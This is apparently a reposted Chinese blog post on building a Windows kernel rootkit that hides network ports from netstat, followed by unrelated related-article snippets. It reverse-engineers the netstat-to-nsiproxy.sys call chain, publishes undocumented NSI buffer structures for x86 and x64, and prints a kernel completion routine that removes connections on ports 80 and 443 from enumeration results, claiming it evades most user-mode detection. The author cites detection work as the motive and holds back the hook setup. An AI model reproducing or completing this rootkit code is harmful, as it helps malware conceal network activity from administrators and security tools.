Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】

文章目录

  • Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】
    • 前言
    • 探究隐藏网络端口
      • netstat分析
      • 隐藏网络端口的原理
      • 关键数据结构
      • 隐藏网络端口源码
    • 效果演示

Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】

前言

Rookit是个老生常谈的话题了,它包括隐藏进程、隐藏模块、隐藏端口等隐藏技术和其他对抗杀软的技术。作为一名二进制安全研究员你可以不去写这些代码,但你不能不懂,也因为最近隔壁组的同事在做这方面的检测向我请教了一些问题,索性我就利用空余时间研究了一下网络端口的隐藏。

网上随便去搜搜隐藏端口的资料,发现能用的几乎没有。 这才是我研究的动力和分享的意义。 \textcolor{green}{这才是我研究的动力和分享的意义。} 这才是我研究的动力和分享的意义。于是就自己研究了一通,发现也没什么特别的。

本篇分享的隐藏端口方法可过绝大部分应用层软件的检测 \textcolor{Red}{本篇分享的隐藏端口方法可过绝大部分应用层软件的检测} 本篇分享的隐藏端口方法可过绝大部分应用层软件的检测

探究隐藏网络端口

netstat分析

这一切还得从netstat工具开始说起,相信很多人都用过这款工具来查看系统建立的所有网络连接信息。我常用的方式:

netstat -a

为了弄明白这款工具的工作原理,我对其进行了简单地逆向分析。

首先netstat会调用 I n i t S n m p \textcolor{cornflowerblue}{InitSnmp} InitSnmp函数初始化一些需要用到的函数

DWORD __stdcall InitSnmp()
{
...

  v8 = _time(0);
  if ( !GetSystemDirectoryA(Buffer, 0x104u) )
    return GetLastError();
  v1 = &Buffer[strlen(Buffer)];
  if ( verbose )
  {
    if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\mgmtapi.dll") < 0 )
      return 8;
    LibraryA = LoadLibraryA(Buffer);
    if ( LibraryA )
      pSnmpMgrOidToStr = (int)GetProcAddress(LibraryA, "SnmpMgrOidToStr");
  }
  if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\inetmib1.dll") < 0 )
    return 8;
  v3 = LoadLibraryA(Buffer);
  v4 = v3;
  if ( !v3 )
    return 2;
  gInitAddr = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))GetProcAddress(v3, "SnmpExtensionInit");
  if ( !gInitAddr )
    return 2;
  gQueryAddr = (int)GetProcAddress(v4, "SnmpExtensionQuery");
  if ( !gQueryAddr )
    return 2;
  gInitAddr(v8, v7, v6);
  return 0;
}

然后调用 i n e t m i b 1 ! S n m p E x t e n s i o n I n i t \textcolor{cornflowerblue}{inetmib1!SnmpExtensionInit} inetmib1!SnmpExtensionInit,内部会调用 i n e t m i b 1 U ! p d a t e C a c h e \textcolor{cornflowerblue}{inetmib1U!pdateCache} inetmib1U!pdateCache

int __stdcall UpdateCache(int a1)
{
  int v2; // [esp+10h] [ebp-1Ch]

  RtlAcquireResourceExclusive(&g_LockTable + a1, 1u);
  if ( g_dwLastUpdateTable[a1] && GetTickCount() - g_dwLastUpdateTable[a1] < g_dwTimeoutTable[a1] )
    goto LABEL_6;
  v2 = g_pfnLoadFunctionTable[a1]();	// 根据传进来的参数为1可以知道将会调用的函数是LoadIfTable
  if ( !v2 )
  {
    g_dwLastUpdateTable[a1] = GetTickCount();
LABEL_6:
    v2 = 0;
    goto LABEL_7;
  }
  g_dwLastUpdateTable[a1] = 0;
LABEL_7:
  RtlReleaseResource(&g_LockTable + a1);
  return v2;
}
int __stdcall LoadIfTable()
{
  int result; // eax

  if ( lpMem )
  {
    HeapFree(g_hPrivateHeap, 0, lpMem);
    lpMem = 0;
  }
  if ( dword_3F4C708 )
  {
    NsiFreeTable(dword_3F4C708, dword_3F4C70C, dword_3F4C710, dword_3F4C714);
    dword_3F4C708 = 0;
    dword_3F4C70C = 0;
    dword_3F4C710 = 0;
    dword_3F4C714 = 0;
    dword_3F4C718 = 0;
  }
  result = InternalGetIfTable(&lpMem, g_hPrivateHeap, 0);
  if ( !result )
    return NsiAllocateAndGetTable(
             1,
             &NPI_MS_NDIS_MODULEID,
             0,
             &dword_3F4C708,
             8,
             &dword_3F4C70C,
             0x440,
             &dword_3F4C710,
             0xD8,
             &dword_3F4C714,
             0x258,
             &dword_3F4C718,
             0);
  return result;
}

其中最关键的就是函数 N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NsiAllocateAndGetTable} NsiAllocateAndGetTable,实际调用的是导入函数 N S I ! N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NSI!NsiAllocateAndGetTable} NSI!NsiAllocateAndGetTable,接着调用 N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x \textcolor{cornflowerblue}{NSI!NsiEnumerateObjectsAllParametersEx} NSI!NsiEnumerateObjectsAllParametersEx去往内核。

int __stdcall NsiEnumerateObjectsAllParametersEx(PVOID InputBuffer)
{
  DWORD BytesReturned; // [esp+0h] [ebp-4h] BYREF

  BytesReturned = 0x3C;
  return NsiIoctl(0x12001Bu, InputBuffer, 0x3Cu, InputBuffer, &BytesReturned, 0);
}


ULONG __stdcall NsiIoctl(
        ULONG IoControlCode,
        PVOID InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer,
        LPDWORD lpBytesReturned,
        LPOVERLAPPED lpOverlapped)
{
...

  result = NsiOpenDevice(1);
  if ( result )
    return result;
  v7 = *lpBytesReturned;
  if ( lpOverlapped )
  {
    if ( DeviceIoControl(
           g_NsiAsyncDeviceHandle,
           IoControlCode,
           InputBuffer,
           InputBufferLength,
           OutputBuffer,
           v7,
           lpBytesReturned,
           lpOverlapped) )
    {
      return 0;
    }
    return GetLastError();
  }
...
}

接收 N S I ! N s i I o c t l \textcolor{cornflowerblue}{NSI!NsiIoctl} NSI!NsiIoctl发出的控制码并处理是在 n s i p r o x y ! N s i p p D i s p a t c h D e v i c e C o n t r o l \textcolor{cornflowerblue}{nsiproxy!NsippDispatchDeviceControl} nsiproxy!NsippDispatchDeviceControl

int __stdcall NsippDispatchDeviceControl(PIRP pIrp, _IO_STACK_LOCATION *Iostk)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  MasterIrp = pIrp->AssociatedIrp.MasterIrp;
  RequestorMode = pIrp->RequestorMode;
  p_Information = &pIrp->IoStatus.Information;
  pIrp->IoStatus.Information = 0;
  LOBYTE(pIrp) = RequestorMode;
  LowPart = Iostk->Parameters.Read.ByteOffset.LowPart;
  Options = Iostk->Parameters.Create.Options;
  Irqla = (unsigned __int8)MasterIrp;
  Parameters = Iostk->Parameters.CreatePipe.Parameters;
  if ( LowPart <= 0x120023 )
  {
    if ( LowPart == 0x120023 )
      return NsippDeregisterChangeNotification((KIRQL)Parameters, Options, (char)pIrp, (int)Iostk);
    v10 = LowPart - 0x120007;
    if ( !v10 )
      return NsippGetParameter(Parameters, Options, (char)pIrp, (int)p_Information);
    v11 = v10 - 4;
    if ( !v11 )
      return NsippSetParameter(Parameters, Options, (char)pIrp);
    v12 = v11 - 4;
    if ( !v12 )
      return NsippGetAllParameters(Parameters, Options, (char)pIrp, (int)p_Information);
    v13 = v12 - 4;
    if ( !v13 )
      return NsippSetAllParameters((KIRQL)Parameters, (PKSPIN_LOCK)Options, (char)pIrp, (int)Iostk);
    v14 = v13 - 8;
    if ( !v14 )                                 // 0x12001Bu
      return NsippEnumerateObjectsAllParameters(Parameters, Options, (int)pIrp, p_Information); // 枚举所有网络连接的参数
    if ( v14 == 4 )
      return NsippRegisterChangeNotification(Parameters, Options, (char)pIrp, (int)Iostk, (int)p_Information);
    return 0xC0000002;
  }
  v16 = LowPart - 0x12003F;
  if ( !v16 )
    return NsippRequestChangeNotification((PKSPIN_LOCK)pIrp, (KIRQL)Parameters, Options, (KIRQL)pIrp);
  v17 = v16 - 1;
  if ( !v17 )
    return NsippCancelChangeNotification(Irqla, Options);
  v18 = v17 - 7;
  if ( !v18 )
    return NsippEnumerateObjectsAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
  v19 = v18 - 4;
  if ( !v19 )
    return NsippGetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
  if ( v19 != 4 )
    return 0xC0000002;
  return NsippSetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
}

现在总结一下netstat的主要调用链:

n e t s t a t ! I n i t S n m p   − >   i n e t m i b 1 ! S n m p E x t e n s i o n I n i t   − >   i n e t m i b 1 ! U p d a t e C a c h e   − > i n e t m i b 1 ! _ L o a d I f T a b l e   − >   N S I ! N s i A l l o c a t e A n d G e t T a b l e   − > \textcolor{orange}{netstat!InitSnmp\ ->\ inetmib1!SnmpExtensionInit\ -> \ inetmib1!UpdateCache\ -> inetmib1!\_LoadIfTable\ -> \ NSI!NsiAllocateAndGetTable\ ->} netstat!InitSnmp > inetmib1!SnmpExtensionInit > inetmib1!UpdateCache >inetmib1!_LoadIfTable > NSI!NsiAllocateAndGetTable >

  N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s   − > N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x   − >   n s i p r o x y ! N s i p p E n u m e r a t e O b j e c t s A l l P a r a m e t e r s \textcolor{orange}{\ NSI!NsiEnumerateObjectsAllParameters\ -> NSI!NsiEnumerateObjectsAllParametersEx\ ->\ nsiproxy!NsippEnumerateObjectsAllParameters}  NSI!NsiEnumerateObjectsAllParameters >NSI!NsiEnumerateObjectsAllParametersEx > nsiproxy!NsippEnumerateObjectsAllParameters

隐藏网络端口的原理

nsiproxy.sys驱动创建的设备对象叫\Device\Nsi,我们可以HOOK它的设备IO控制派遣函数,过滤控制码0x12001B,替换原设备处理该控制码的完成例程。在我们的完成例程中解析数据,抹掉我们的目标数据就能够实现端口隐藏了。

然后最最最关键的地方来了,就是如何解析数据,他的数据结构是什么?我想这才是网上几乎没有可用的源码的原因了吧。在win7之前尚且有人发过可用的源码,而win7及其以后的系统中就没有可用的源码了。倒不是因为这个技术行不通了,而是没人去分析它的数据结构了,也或者研究的人并不打算放出来。

那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。 \textcolor{green}{那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。} 那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。

关键数据结构

typedef struct _NET_INFO
{
	USHORT Type;            		// +0x00
	USHORT lPort;           		// +0x02
	ULONG lHost;            		// +0x04
	char Reserved1[0x16];   		// +0x08
	USHORT rPort;           		// +0x1E
	ULONG rHost;            		// +0x20
	char Reserved2[0x14];   		// +0x24
}NET_INFO, * PNET_INFO;       	// Total:0x38

typedef struct _PROC_INFO {
	ULONG Reserved1[3];				// +0x00
	ULONG OwnerPid;					// +0x0C
	LARGE_INTEGER CreateTimestamp;	// +0x10
	ULONGLONG OwningModuleInfo;		// +0x18
}PROC_INFO, * PPROC_INFO;				// Total:0x20

typedef struct _STATE_INFO
{
	ULONG State;						// +0x00
	ULONG Reserved1;					// +0x04
	LARGE_INTEGER CreateTimestamp;	// +0x08
}STATE_INFO, * PSTATE_INFO;			// Total:0x10

// nsiproxy缓冲区inBuffer/outBuffer布局:
typedef struct _MIB_PARAMX32
{
	ULONG Unk_0;						// +0x00
	ULONG Unk_1;						// +0x04
	ULONG* POINTER_32 ModuleId;		// +0x08
	ULONG dwType;					// +0x0C
	ULONG Unk_2;						// +0x10
	ULONG Unk_3;						// +0x14
	VOID* POINTER_32 NetInfo;			// +0x18
	ULONG NetInfoSize;				// +0x1C
	VOID* POINTER_32 outBuffer;		// +0x20
	ULONG outBufferSize;				// +0x24
	VOID* POINTER_32 StateInfo;		// +0x28
	ULONG StateInfoSize;				// +0x2C
	VOID* POINTER_32 ProcInfo;		// +0x30
	ULONG ProcInfoSize;				// +0x34
	ULONG ConnectCounts;				// +0x38
}MIB_PARAMX32, * PMIB_PARAMX32;		// Total:0x3C

typedef struct _MIB_PARAMX64
{
	ULONG64 Unk_0;					// +0x00
	ULONG* ModuleId;					// +0x08
	ULONG64 dwType;					// +0x10
	ULONG64 Unk_2;					// +0x18
	ULONG64 Unk_3;					// +0x20
	PVOID NetInfo;					// +0x28
	ULONG64 NetInfoSize;				// +0x30
	PVOID outBuffer;					// +0x38
	ULONG64 outBufferSize;			// +0x40
	PVOID StateInfo;					// +0x48
	ULONG64 StateInfoSize;			// +0x50
	PVOID ProcInfo;					// +0x58
	ULONG64 ProcInfoSize;				// +0x60
	ULONG64 ConnectCounts;			// +0x68
}MIB_PARAMX64, * PMIB_PARAMX64;		// Total:0x70

隐藏网络端口源码

为防止script kid直接拿来用,源码只放出最关键部分,其余部分还需各位帅哥美女自己完善~

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) {
	PHOOK_IO_COMPLETION hookContext;
	PIO_COMPLETION_ROUTINE OriginalCompletion;
	PNET_INFO pNetInfo = NULL;

	hookContext = (PHOOK_IO_COMPLETION)Context;
	OriginalCompletion = hookContext->OriginalCompletion;

	PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);

	if (!NT_SUCCESS(Irp->IoStatus.Status))
	{
		goto free_exit;
	}

#ifdef _WIN64
	if (IoIs32bitProcess(NULL))
	{
#endif
		PMIB_PARAMX32 pNsiParam = (PMIB_PARAMX32)Irp->UserBuffer;
		if (pNsiParam->NetInfoSize == sizeof(NET_INFO))
		{
			if (MmIsAddressValid(pNsiParam->NetInfo))
			{
				pNetInfo = (PNET_INFO)pNsiParam->NetInfo;

				for (ULONG i = 0; i < pNsiParam->ConnectCounts;)
				{
					// 这里默认隐藏80和443端口
					if (htons(pNetInfo[i].lPort) == 80 ||
						htons(pNetInfo[i].lPort) == 443 ||
						htons(pNetInfo[i].rPort) == 80 ||
						htons(pNetInfo[i].rPort) == 443)
					{
						if (i < pNsiParam->ConnectCounts - 1)
						{
							for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++)
							{
								// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的
								RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));
							}
						}
						else
						{
							RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));
						}
						// 记得将总的连接数减去1,因为已经隐藏了一个
						pNsiParam->ConnectCounts -= 1;
					}
					else
					{
						i++;
					}
				}
			}
		}
#ifdef _WIN64
	}
	else
	{
		PMIB_PARAMX64 pNsiParam = (PMIB_PARAMX64)Irp->UserBuffer;
		if (pNsiParam->NetInfoSize == sizeof(NET_INFO))
		{
			if (MmIsAddressValid(pNsiParam->NetInfo))
			{
				pNetInfo = (PNET_INFO)pNsiParam->NetInfo;

				for (ULONG i = 0; i < pNsiParam->ConnectCounts;)
				{
					// 这里默认隐藏80和443端口
					if (htons(pNetInfo[i].lPort) == 80 ||
						htons(pNetInfo[i].lPort) == 443 ||
						htons(pNetInfo[i].rPort) == 80 ||
						htons(pNetInfo[i].rPort) == 443)
					{
						if (i < pNsiParam->ConnectCounts - 1)
						{
							for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++)
							{
								// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的
								RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));
							}
						}
						else
						{
							RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));
						}
						// 记得将总的连接数减去1,因为已经隐藏了一个
						pNsiParam->ConnectCounts -= 1;
					}
					else
					{
						i++;
					}
				}
			}
		}
	}
#endif

free_exit:

	irpspNext->Context = hookContext->OriginalContext;
	irpspNext->CompletionRoutine = hookContext->OriginalCompletion;

	ExFreePoolWithTag(Context, MY_MEMORY_TAG);

	if (hookContext->bShouldInvolve)
	{
		return (OriginalCompletion)(DeviceObject, Irp, NULL);
	}
	else
	{
		if (Irp->PendingReturned) {
			IoMarkIrpPending(Irp);
		}
		return STATUS_SUCCESS;
	}

}

效果演示

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/60128.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何从零开始配置前端环境以及安装必备的软件插件

文章目录 前言一、VSCode&#xff08;Visual Studio Code&#xff09;1.1 VSCode介绍与安装1.2 VSCode 常用插件安装1.3 VSCode代码格式化 二、Node.js2.1 Node的介绍与安装2. yarn的安装 三、Webpcak3.1 Webpcak的介绍与安装 四、Vue CLI4.1 Vue CLI的安装与介绍 五、初始化Vu…

【力扣】206. 反转链表 <链表指针>

【力扣】206. 反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1] 示例 3 输入&#xff1a…

problem(3):python IDE和python解释器

为什么写这篇文章呢&#xff1f;遇到了下面的问题&#xff0c;相同的解释器&#xff0c;如果运行angr库的代码&#xff0c;会出现 这样的情况&#xff0c;但是用spyder IDE 会显示正常&#xff0c;很奇怪 应该就是IDE的原因 IDE的循环导入问题 检查IDE配置&#xff1a; 如果可…

pytorch的CrossEntropyLoss交叉熵损失函数默认是平均值

pytorch中使用nn.CrossEntropyLoss()创建出来的交叉熵损失函数计算损失默认是求平均值的&#xff0c;即多个样本输入后获取的是一个均值标量&#xff0c;而不是样本大小的向量。 net nn.Linear(4, 2) loss nn.CrossEntropyLoss() X torch.rand(10, 4) y torch.ones(10, dt…

Grafana集成prometheus(3.Grafana添加promethus数据)

添加数据库 选择Connections -> Datasources&#xff0c;点击Add New data source&#xff0c;填写Promitheus Server Url,点击 save & test完成配置 添加DashBorad 选择prometheus数据库选择code填入对应的查询公式(监控公式参考Prometheus监控公式)修改面板名称Ti…

华为OD机试之报文重排序(Java源码)

题目描述 对报文进行重传和重排序是常用的可靠性机制&#xff0c;重传缓中区内有一定数量的子报文&#xff0c;每个子报文在原始报文中的顺序已知&#xff0c;现在需要恢复出原始报文。 输入描述 输入第一行为N&#xff0c;表示子报文的个数&#xff0c;0 &#xff1c;N ≤ 100…

ubuntu搭建wifi热点,共享网络(x86、arm相同)

目录 1 首先检查网络管理器服务是否开启 &#xff08;ubuntu需要界面&#xff09; 2 创建并配置需要共享的wifi 首先&#xff0c;明确下这篇文章说的是啥&#xff0c;是为了在ubuntu系统的电脑上&#xff0c;搭建一个wifi热点&#xff0c;供其他移动设备连接上网。就像你…

VMware workstation怎么识别移动硬盘?

右键“我的电脑”->管理->服务-> VMware USB Arbitration Service-> 属性->启动 重启VMware&#xff0c;可移动设备->移动硬盘->连接

Redis持久化机制

AOF 把对redis的写操作记录下来&#xff0c;先执行命令&#xff0c;再执行写入&#xff0c;优势在于&#xff1a; 当然也有风险&#xff1a;丢失和对下一个命令造成阻塞 丢失的原因是执行写操作和记录日志是两个过程 下一个命令造成阻塞的原因是两个过程是同步的 第二个问…

通俗理解大模型的各大微调方法:从LoRA、QLoRA到P-Tuning V1/V2

前言 PEFT 方法仅微调少量(额外)模型参数&#xff0c;同时冻结预训练 LLM 的大部分参数 第一部分 高效参数微调的发展史 1.1 Google之Adapter Tuning&#xff1a;嵌入在transformer里 原有参数不变 只微调新增的Adapter 谷歌的研究人员首次在论文《Parameter-Efficient Tran…

RabbitMQ输出日志配置

参考地址rabbitmq启用日志功能记录消息队列收发情况_rabbitmq开启日志_普通网友的博客-CSDN博客 启用日志插件命令 # 设置用户权限 rabbitmqctl set_user_tags mqtt-user administrator rabbitmqctl set_permissions -p / mqtt-user ".*" ".*" ".*&…

《命运》阅读笔记

《命运》阅读笔记 2023年5月17号在杭州的小屋读完&#xff0c;我读完后&#xff0c;脑海里经常把余华的《活着》和这本《命运》的故事情节搞混淆&#xff0c;几乎都是讲着生活的苦难。全文以阿太&#xff08;外婆的妈妈&#xff09;的视角&#xff0c;在她九十九岁的人生里&…

利用PostGIS自带工具导入shp数据

一、shapefile导入PostGIS 1、利用PostGIS自带工具导入 开始程序搜索如下工具 打开工具界面如下图&#xff0c;点击View conncetion details进行数据库连接&#xff0c;点击Add File进行Shapefile所在路径加载&#xff0c;点击Option进行编码设置&#xff0c;设置完成后点击Im…

数据安全与可追溯:PDM系统的信息保护锦囊

在当今数字化时代&#xff0c;数据安全与可追溯是企业管理中至关重要的环节。PDM系统&#xff08;Product Data Management&#xff0c;产品数据管理&#xff09;作为一款强大的数字化工具&#xff0c;为企业提供了全方位的信息保护锦囊。让我们一同深入探讨&#xff0c;看看PD…

半导体制造工艺流程

本资料仅用于学习和讨论&#xff0c;如有侵权请反应 1、半导体制造工艺流程-要求 1.1 英特尔50亿纳米的制作工艺 2、第一步 晶圆加工 2.1 第一步 晶圆加工 2.2 第二步 氧化 2.3 第三步 光刻 2.4第四步 刻蚀 2.5 第五步 薄膜沉积 2.6 第六步 互连 2.7 第七步 测试 2.8…

【网络基础实战之路】基于MGRE多点协议的实战详解

系列文章传送门&#xff1a; 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS&#xff1a;本要求基于…

Cesium 实战教程 - 调整 3dtiles 倾斜摄影大小

Cesium 实战教程 - 调整 3dtiles 倾斜摄影大小 核心代码完整代码在线示例 之前由于误解遇到一个特殊的需求&#xff1a;想要把三维球上叠加倾斜摄影进行自由放大缩小&#xff0c;跟随地图的缩放进行缩放。 后来经过搜索、尝试&#xff0c;终于实现了需求。 但是&#xff0c;后…

ClickHouse SQL与引擎--基本使用(一)

1.查看所有的数据库 show databases; 2.创建库 CREATE DATABASE zabbix ENGINE Ordinary; ATTACH DATABASE ck_test ENGINE Ordinary;3.创建本地表 CREATE TABLE IF NOT EXISTS test01(id UInt64,name String,time UInt64,age UInt8,flag UInt8 ) ENGINE MergeTree PARTI…

【单调栈part03】| 84.柱状图中的最大矩形

&#x1f388;LeetCode84.柱状图中的最大矩形 链接&#xff1a;84.柱状图中的最大矩形 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。 求在该柱状图中&#xff0c;能够勾勒出来的矩形的最大面积 public static in…

金融学复习博迪(第1-5章)

第一部分 金融和金融体系 第1章 金融学 金融&#xff1a;资金的流通&#xff0c;即储蓄&#xff0c;信贷、汇兑、股票和证券交易等经济活动的总称。 金融学&#xff1a;研究货币流通的学问。 传统的金融学研究领域大致有两个方向&#xff1a; >宏观层面的金融市场运行理论…